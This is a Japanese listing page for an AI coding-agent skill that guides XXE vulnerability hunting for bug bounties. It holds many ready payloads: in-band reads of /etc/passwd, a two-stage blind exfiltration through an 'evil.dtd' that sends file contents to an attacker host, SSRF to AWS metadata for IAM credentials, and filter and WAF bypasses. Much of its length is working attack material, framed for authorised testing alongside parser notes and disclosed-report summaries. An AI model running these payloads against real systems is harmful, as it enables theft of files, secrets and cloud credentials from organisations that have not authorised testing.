hunt-xxe

Name: hunt-xxe
Author: elementalsouls

github.com/elementalsoulsセキュリティ5.3k285 回インストール今日更新

リポジトリ

hunt-xxe について

hunt-xxeは、XML外部実体（XXE）の発見と検証を支援するセキュリティテスト用スキルです。XMLや文書処理の入口、インバンド／アウトオブバンドの確認、SSRFへの展開、パーサーごとの挙動を調べる手順を示します。

主な機能

01XML処理エントリーポイントの発見
02インバンドおよびブラインドXXEテスト
03ファイル読み取りとSSRFの確認
04文書アップロードのパーサーテスト
05パーサー環境ごとの挙動の特定

活用シーン

01XMLを受け付けるAPIの調査
02SVGやOffice文書アップロードのテスト
03SAMLおよびSOAP処理経路の確認
04セキュリティ評価でのXMLパーサー挙動の検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-xxe

インストール後、Claude Code で/hunt-xxeを入力して読み込まれたか確認します。

詳細

最優先で狙うべきターゲット

XXE は重大度がクリティカルな脆弱性であり、機密データを直接窃取でき、SSRF にもつながるため、バグ報奨金の上限に近い金額（$5,000–$30,000+）が安定して支払われます。特に価値の高いターゲットは次のとおりです。

XML を多用するバックエンド統合を備えた大規模なエンタープライズプラットフォーム（金融、物流、ライドシェアの API）
ファイル読み取りが可能なドメイン — /etc/passwd、/etc/shadow、内部設定ファイル、AWS メタデータエンドポイント
バックエンドインフラストラクチャを共有するサブドメイン — 1 つの XXE エンドポイントを起点に、数十のドメインにまたがる内部サービスへアクセスできる場合があります（単一の侵入経路から 26 以上の Uber ドメインにアクセスできた事例で実証済み）
XML コンテンツタイプを受け付ける API ゲートウェイ — 特に、Content-Type: application/xml を暗黙に受け入れる REST API
ファイルアップロード機能 — サーバー側の SVG、DOCX、XLSX、PDF、PPTX パーサー
SAML/SSO エンドポイント — SAML アサーションは XML ベースであり、脆弱なことがよくあります
Office／ドキュメント処理サービス — ユーザーが提供したドキュメントを変換または処理する機能全般

攻撃対象領域の兆候

URL パターン

/api/v*/xml
/upload
/import
/parse
/convert
/saml/acs
/sso/saml
/feed
/rss
/sitemap
/webdav
/soap/*
/wsdl
/service.asmx
/xmlrpc
/graphql (multipart with XML)

リクエスト／レスポンスヘッダー

Content-Type: application/xml
Content-Type: text/xml
Content-Type: application/soap+xml
Content-Type: multipart/form-data  ← check file upload fields
Accept: application/xml
X-Content-Type-Options: (absent — good sign of loose parsing)

JavaScript パターン（ソースコードの調査）

// Look for in JS bundles
XMLSerializer
DOMParser
parseFromString
new ActiveXObject("Microsoft.XMLDOM")
$.parseXML(
xml2js
libxmljs
lxml

技術スタックの兆候

Java スタック：Spring、Struts、JAX-WS — デフォルトの XML パーサー（SAX、DOM）は、明示的に強化されていない場合、XXE に対して脆弱です
PHP：simplexml_load_string()、DOMDocument::loadXML() — PHP 8 より前のバージョンでは、デフォルトで脆弱です
Python：lxml、xml.etree（デフォルトで安全）、xml.sax（安全ではありません）
Ruby：旧バージョンの Nokogiri、REXML
Node.js：xml2js、libxmljs、旧バージョンの fast-xml-parser
WSDL/SOAP サービス：必ずテストしてください — レガシーな XML 解析が使われている可能性は非常に高いです
ファイルパーサー：Apache POI（Java）、python-docx、LibreOffice との統合

手順ごとのハンティング方法

すべての XML エントリーポイントを洗い出す — Burp Suite のパッシブスキャナーを使い、XML コンテンツタイプを含むすべてのリクエスト／レスポンスを検出します。また、JSON エンドポイントをインターセプトし、同等の XML ボディを用いて Content-Type を application/xml に手動で置き換えます。
ファイルアップロード機能を特定する — SVG、DOCX、XLSX をアップロードし、サーバーがコンテンツを処理またはレンダリングするか確認します。これらの形式は内部では XML であることがよくあります。
インライン XXE（従来型のファイル読み取り）を試す — XML ボディを、/etc/passwd または C:\Windows\win.ini を対象とした基本的なエンティティテスト用ペイロードに置き換えます。値がレスポンスに反映されるか確認します。
反映がなければ、ブラインド OOB に切り替える — OOB リスナー（Burp Collaborator、interactsh、またはセルフホスト可能な netcat サーバー）を用意します。コールバック URL を指す外部エンティティを注入します。DNS／HTTP リクエストを確認し、パーサーが外部接続を行っていることを検証します。
ブラインド OOB からファイル窃取へエスカレートする — 2 段階のペイロードを使います。最初のエンティティでローカルファイルを読み込み、2 つ目のエンティティで HTTP パラメーターまたは DNS を介して OOB で送信します。
SSRF へのピボットをテストする — 外部エンティティの参照先を内部ネットワークアドレス（http://169.254.169.254/latest/meta-data/、http://10.0.0.1/、http://localhost:8080/admin）に設定します。レスポンス時間やエラーメッセージの違いを確認します。
同じバックエンドを共有するすべてのサブドメインをテストする — 1 つのサブドメインに脆弱性があれば、ほかのサブドメインも体系的に列挙してテストします。バックエンドインフラストラクチャが共有されている場合、脆弱性も共有されている可能性があります。
パラメーター単位のインジェクションをテストする — 特定の XML ノードのみを解析するエンドポイントもあります。すべての要素の値、属性値、さらには要素名にもエンティティを注入します。
エラーベースの窃取をテストする — OOB がブロックされている場合は、ファイルの内容をクライアントに返されるエラーメッセージに含める XML 解析エラーを発生させます。
影響の連鎖全体を記録する — ファイル読み取り → SSRF → 内部サービスへのアクセスを実証し、アクセス可能な内部ドメイン／IP を記録します。

ペイロードと検出パターン

ローカル DTD の再利用によるエラーベースの持ち出し（ネットワーク送信ゼロ）

file:// のアウトバウンドと外部 DTD の取得の両方がブロックされている場合、ディスク上にすでに存在する DTD を参照し、その内部エンティティの 1 つを再定義することで、対象ファイルの内容をパースエラーの中に漏洩させます：

<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; err SYSTEM &#x27;file:///nonexist/%file;&#x27;>">
    %eval; %err;'>
  %local_dtd; ]>

ネットワーク送信はゼロで済みます。ローカル DTD のパスはディストリビューションごとに異なります（yelp/docbookx が一般的です）— 列挙してください。（PortSwigger：ローカル DTD の再利用による XXE。）

古典的なインバンドファイル読み取り

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

Windows での同等の方法

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root><data>&xxe;</data></root>

ブラインド OOB — DNS/HTTP コールバック

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://YOUR.BURPCOLLABORATOR.net/xxe-test">
]>
<root><data>&xxe;</data></root>

ブラインド OOB — パラメータエンティティによるファイル持ち出し（2 段階）

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://YOUR-SERVER/evil.dtd">
  %dtd;
]>
<root><data>trigger</data></root>

evil.dtd（攻撃者のサーバーでホスト）：

<!ENTITY % all "<!ENTITY send SYSTEM 'http://YOUR-SERVER/?data=%file;'>">
%all;

XXE 経由の SSRF（AWS メタデータ）

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&ssrf;</data></root>

SVG XXE（ファイルアップロードエンドポイント向け）

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg width="512px" height="512px" xmlns="http://www.w3.org/2000/svg">
  <text font-size="14" x="0" y="16">&xxe;</text>
</svg>

DOCX/XLSX XXE — `[Content_Types].xml` または `word/document.xml` に注入

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Types xmlns="..."><Default Extension="rels" ContentType="&xxe;"/></Types>

Content-Type のすり替え（JSON から XML へ）

# Original JSON request
curl -X POST https://target.com/api/endpoint \
  -H "Content-Type: application/json" \
  -d '{"user":"test"}'

# Converted to XML for XXE testing
curl -X POST https://target.com/api/endpoint \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://COLLABORATOR.net">]><user>&xxe;</user>'

ソースコードレビュー用の Grep パターン

# PHP
grep -rn "simplexml_load_string\|DOMDocument\|xml_parse\|loadXML\|SimpleXMLElement" .

# Java
grep -rn "DocumentBuilder\|SAXParser\|XMLReader\|XMLInputFactory\|TransformerFactory" .

# Python
grep -rn "lxml\|xml.sax\|parseString\|fromstring\|etree.parse" .

# Look for missing hardening
grep -rn "FEATURE_EXTERNAL_GENERAL_ENTITIES\|setExpandEntityReferences\|setFeature.*false" .

よくある根本原因

デフォルトのパーサー設定 — Java の DocumentBuilderFactory、PHP の DOMDocument、Python の lxml はすべてデフォルトで外部エンティティをサポートしています。開発者はセキュリティドキュメントを読まずにこれらを使用します。
セキュリティ再レビューなしのフレームワークアップグレード — Spring、Struts などの古いバージョンはデフォルトで XXE が有効でした。ライブラリが変わっても、開発者は XML 処理を再監査しませんでした。
隠れた XML の消費 — 開発者は API レイヤーでは JSON を受け入れつつ、内部的に XML に変換したり、ライブラリ（Apache POI、python-docx）を使ってアップロードを処理し、それらの形式が XML コンテナであることに気づいていません。
StackOverflow からのコピー＆ペーストコード — オンラインの XML パース例にはエンティティ無効化がほとんど含まれていません。開発者は最小限の動作例をそのまま本番環境にコピーします。
SAML/SSO ライブラリの設定ミス — SSO 統合では XML パースを XXE が有効なサードパーティライブラリに委ねることがよくあります。開発者は「ライブラリがセキュリティを処理してくれる」と思い込んでいます。
主要でないコンテンツタイプのテスト不足 — QA は JSON API を徹底的にテストしますが、XML のコードパスは二次的またはレガシーであるため、セキュリティテストが最小限しか行われません。
マイクロサービス間の XML メッセージング — サービス間の内部通信で XML（SOAP、カスタムスキーマ）が使われ、「信頼された内部」の問題として扱われ、セキュリティレビューが回避されます。

バイパス手法

防御：キーワードブラックリスト（`ENTITY`、`DOCTYPE`、`SYSTEM`）


<!DoCtYpE foo [<!EnTiTy xxe SyStEm "file:///etc/passwd">]>


<?xml version="1.0" encoding="UTF-16"?>
(submit the entire payload UTF-16 encoded)


<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe;]>

防御：外部エンティティ取得の無効化（file:// ブロック）


<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY xxe SYSTEM "netdoc:///etc/passwd">       
<!ENTITY xxe SYSTEM "jar:file:///etc/passwd!/">   
<!ENTITY xxe SYSTEM "gopher://internal-service:80/_GET%20/">

防御：WAF による XXE パターンのブロック


Transfer-Encoding: chunked




<!-–- -->DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>


<!DOCTYPE foo [<!ENTITY xxe SYSTEM "&#x66;&#x69;&#x6c;&#x65;:///etc/passwd">]>

防御：ネットワーク送信のフィルタリング（OOB ブロック）


<!ENTITY % data SYSTEM "file:///etc/hostname">
<!ENTITY % send "<!ENTITY exfil SYSTEM 'http://%data;.attacker.com/'>">


<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///notexist/%file;'>">
  %eval; %error;
]>

防御：Content-Type の検証

# Try mismatched Content-Type headers
Content-Type: application/json; charset=xml
Content-Type: application/xml+json
# Or simply omit Content-Type and let the server sniff

防御：入力長の制限


<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;">
]>

パーサーエコシステムの脆弱性マトリクス

XXE の典型的なペイロード（<!ENTITY xxe SYSTEM "file://...">）は、2026 年においてあらゆる環境で悪用できるわけではありません。主要な言語エコシステムのほとんどでは、2018〜2024 年以降、デフォルトの XML パーサーが強化されています。XXE に時間をかける前に、対象のスタックを特定してください。パーサーがすでに安全で、この脆弱性の種類が該当しない場合もあります。

エコシステム／パーサー	SYSTEM エンティティに対するデフォルトの動作	デフォルトで脆弱か？
Java SAX／DOM（外部エンティティを無効にしていない `XMLInputFactory`）	SYSTEM file:// を展開する	はい
Java JAXB／JAX-WS（古い Spring バージョン）	展開する	はい
`LIBXML_NOENT` フラグを指定した PHP `DOMDocument`	SYSTEM を展開する	はい
`LIBXML_NOENT` を指定した PHP `simplexml_load_*`	展開する	はい
`XmlResolver` を明示的に設定した .NET `XmlDocument`	展開する	はい
`DtdProcessing=Parse` と `XmlResolver` を明示的に設定した .NET `XmlReader`	展開する	はい（.NET 4.5.2 以降のデフォルトは `DtdProcessing.Prohibit` で、DOCTYPE があると必ず例外が発生します。最新のデフォルトは安全です）
Python `xml.etree.ElementTree` ≥ 3.7.1	SYSTEM が無効	いいえ
Python `lxml`（6.x で検証済み。おそらく ≥ 5.x）	`resolve_entities=True` でも SYSTEM のファイル内容を破棄します。`no_network=False` の場合は、ネットワークへのフェッチが発生する可能性があります	ファイル読み取りについては、いいえ（6.1.0 でローカル検証済み。`docs/verification/phase2g-saml-mfa-xxe.md` を参照）
Python `xml.dom.minidom`	現行バージョンではデフォルトで安全	いいえ
Python `defusedxml.lxml`	無効	いいえ
Ruby Nokogiri のデフォルト	無効	いいえ
`Nokogiri::XML::ParseOptions::DTDLOAD` を指定した Ruby Nokogiri	展開する	はい
Apache Struts（古いバージョン）	展開することが多い	はい
組み込み IoT／産業用 XML プロセッサー（ファームウェア）	脆弱なことが多い	はい
ユーザーコンテンツを再解析する Microsoft Office OOXML プロセッサー	一部のレガシーな経路では脆弱	はい

確認すべきフィンガープリントの兆候：

Server: Apache Tomcat、X-Powered-By: Servlet → Java バックエンド → おそらく「はい」
X-Powered-By: PHP/... と XML を受け取るエンドポイント → アプリが DOMDocument を使用している場合は おそらく「はい」
.aspx と XML SOAP を使用する Server: Microsoft-IIS → レガシーコードでは おそらく「はい」
サーバーを特定できる情報がなく、エンドポイントが XML を受け付ける → まず &hello; でテストしてください。インラインエンティティが展開される場合は、SYSTEM に進みます。インラインエンティティも展開されない場合、パーサーが強化されている可能性があります。別の方法に切り替えてください。

**重大度判定前のゲート：**候補エンドポイントで XXE を報告する前に、インラインエンティティのテスト（<!ENTITY hello "world!"> を定義し、ノード内で &hello; を使う）を実施してください。hello! が応答に返らない場合、パーサーレベルでエンティティの展開が無効になっており、SYSTEM file:// も機能しません。強化済みのパーサーに時間を費やさないでください。

ゲート 0 の検証

報告書を書く前に、次の 3 点すべてに答えてください。

攻撃者は現時点で何ができますか？
- /etc/passwd または win.ini の内容を応答内に表示できますか？または、ファイルの内容を自分のサーバーに送信する OOB コールバックを確認できますか？または、内部の SSRF エンドポイント（メタデータ、内部管理画面）にアクセスできますか？
被害者は何を失いますか？
- 具体的な機密情報を特定する必要があります。内部認証情報、AWS IAM キー、DB パスワードを含むアプリケーション設定ファイル、PII、または内部ネットワークのトポロジーです。「パーサーが DNS リクエストを行った」だけでは不十分です。実際のデータ漏えいまたは内部アクセスを実証するまで、調査を進めてください。
ゼロから 10 分以内に再現できますか？
- トリアージ担当者が稼働中の対象に対して実行し、10 分以内に影響を確認できる単一の curl コマンドまたは Burp Repeater リクエストが必要です。脆弱なパラメーターとエンドポイントについて、曖昧さが一切ないものでなければなりません。

実際の影響例

シナリオ A：単一のエンドポイント → 26 ドメインの侵害（Uber 規模）

テスターは、Uber のあるサブドメインで XML 解析エンドポイントを発見しました。バックエンドでは脆弱なパーサーを使って XML を処理しており、サーバーは攻撃者が制御するインフラストラクチャに対してアウトバウンド HTTP リクエストを送信していました（ブラインド OOB）。脆弱な XML 処理サービスは内部で共有されるマイクロサービスだったため、同じ脆弱性が、バックエンドを共有する 26 以上の異なる公開ドメインから到達可能でした。単一のペイロードで /etc/passwd や内部設定ファイルを読み取り、AWS メタデータエンドポイントにもアクセスでき、事実上、インフラストラクチャ全体で再利用可能な認証情報を取得できました。

ビジネスへの影響：本番環境のドメイン群の大半にわたる内部サービスの完全な侵害。認証情報の窃取やラテラルムーブメントにつながる可能性があります。

シナリオ B：ドキュメントのアップロード → Twitter 規模のプラットフォームでローカルファイルを読み取り

攻撃者は、大手ソーシャルプラットフォームのドキュメント処理機能に、細工した XML ベースのドキュメント（SVG や Office 形式など）をアップロードしました。サーバー側のパーサーが埋め込まれた DTD と外部エンティティ参照を処理し、解析結果やエラーメッセージにローカルファイルの内容を返しました。攻撃者は、データベース接続文字列や内部 API キーを含むアプリケーション設定ファイルや、同じファイルシステムに保存されている可能性のある非公開ユーザーデータを読み取ることができました。

ビジネスへの影響：無害なファイルのアップロードを目的とする機能を通じた、本番環境のシークレット（データベース認証情報、API キー）の漏えい。標準的なユーザーアカウント以外の認証バイパスは必要ありませんでした。

シナリオ C：JSON API → 隠れた XML パーサー → 内部サービスへの SSRF

表向きは JSON を受け付ける REST API エンドポイントが、application/xml として送信されたリクエストも解析することが判明しました。基盤となるサービスは、未修正の Java DocumentBuilderFactory を使って XML を内部形式に変換していました。http://10.0.0.x のアドレス範囲を指す SYSTEM エンティティを挿入することで、テスターは内部サービスを調査し、認証不要の内部管理パネルにアクセスして、AWS インスタンスメタデータから一時的な IAM 認証情報を取得できました。これらすべては、有効なセッショントークンだけを必要とする単一の API 呼び出しで実行できました。

ビジネスへの影響：認証済みの API 呼び出し 1 回だけで AWS 認証情報が完全に侵害され、アプリケーションレベルのユーザーからクラウドインフラストラクチャの管理者へ権限を昇格できる状態になります。

公開済みレポートの引用（追加分 +6 — 2016-2024）

以下の実在する検証済みのバグバウンティ／協調的な脆弱性開示事例を、このスキルに追加します。3件（#7、#9、#10）はOOB必須（ブラインド）です。これらは hunt-ssrf のOOB-Or-It-Didn't-Happenゲートを参照しており、Collaborator／interactshのコールバックなしでは報告できません。

Mail.ru — Pulse RSS/AtomフィードXXE（ファイル読み取り） (H1 #505947)
- サブクラス：直接的なファイル読み取りXXE（インバンド）
- ペイロード：RSSフィードの本文に <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> を含める → 応答で <title>&xxe;</title> が反映される
- 根本原因：pulse.mail.ruのRSS/Atom取り込み処理で、external general entities が有効なXMLパーサーが呼び出されていた
- 年：2019年 — $6,000
Twitter — sms-be-vip.twitter.comのSOAP/SXMPサーブレットXXE (H1 #248668)
- サブクラス：SOAP XXE（cloudhopper SXMPサーブレット）— HTTPコールバック および ファイル読み取りの反映で確認
- ペイロード：SXMPリクエスト本文に <!DOCTYPE r [<!ENTITY % ext SYSTEM "http://attacker/x.dtd"> %ext;]> をチェーンする
- 根本原因：Cloudhopper SXMPサーブレットが、デフォルトのJAXP設定（エンティティが解決される状態）で受信XMLを解析していた
- 年：2017年 — $10,080（古典的なSOAP-XXEの参考事例）
Zivver — SVGプロフィール画像のアップロードによるXXE → SSRF (H1 #897244)
- サブクラス：SVGアップロードXXE、OOBで確認、SSRFに連鎖
- ペイロード：<!DOCTYPE svg [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><text>&xxe;</text> を含むSVG
- 根本原因：サーバーが、外部エンティティを解決するXMLパーサーを使ってアップロードされたSVGのサムネイルを生成していた。エンティティリゾルバーの無効化も行われていなかった
- 年：2020年 — 当時、Zivverには有償プログラムがなかった
Open-Xchange — PowerPoint（.pptx）のインポートを介したブラインドXXE (H1 #334488)
- サブクラス：Office文書XXE（PPTX = XMLパーツのZIP）、OOB必須
- ペイロード：.pptxのZIP内にある ppt/slides/slide1.xml を変更し、<!DOCTYPE x [<!ENTITY % a SYSTEM "http://attacker/d.dtd"> %a;]> を含める。外部DTDがパラメーターエンティティをチェーンし、file:///etc/passwd をHTTP経由で流出させる
- 根本原因：PowerPointパーサーが、エンティティ解決を無効化する前にOOXMLコンテナー内のXMLパーツを事前レンダリングしていた
- 年：2018年 — $2,000
Uber — ubermovement.comにおけるブラインドOOB XXE (H1 #154096)
- サブクラス：ブラインドOOB XXE（サードパーティベンダー製品）、OOB必須
- ペイロード：<!DOCTYPE r [<!ENTITY ping SYSTEM "http://attacker.example/">]><search><q>&ping;</q></search>
- 根本原因：Movementのベンダースタックにある汎用XMLエンドポイントがXMLを受け付け、システムエンティティを解決していた。サンドボックス化されていたためデータ流出はできず、ブラインドpingのみ可能だった
- 年：2016年 — $500
Adobe Commerce / Magento — 「CosmicSting」CVE-2024-34102 (Assetnoteの解説)
- サブクラス：XXEからRCEへ（ネストされたデシリアライズ → Laminasのリクエスト本文内のXXE）— 最新の事例で、実環境で悪用された
- ペイロード：ネストされた simplexml_load_string() によって <!DOCTYPE r [<!ENTITY % d SYSTEM "http://attacker/x.dtd"> %d;]> が処理されるREST APIのJSONリクエスト。外部DTDが app/etc/env.php（管理者の暗号化キー）を読み取り、POSTで送り返す。このキーで管理者トークンを偽造し、RCEを実行する
- 根本原因：Laminas\Http\PhpEnvironment\Request が、攻撃者の制御下にある本文を LIBXML_NOENT による保護なしで simplexml_load_string にデシリアライズさせていた
- 年：2024年 — Adobe HackerOneのバウンティが支払われた。CVSS 9.8

基本情報

作者: elementalsouls
リポジトリ: elementalsouls/claude-bughunter
カテゴリ: セキュリティ
インストール数: 285
GitHub スター: 5,334

問題を報告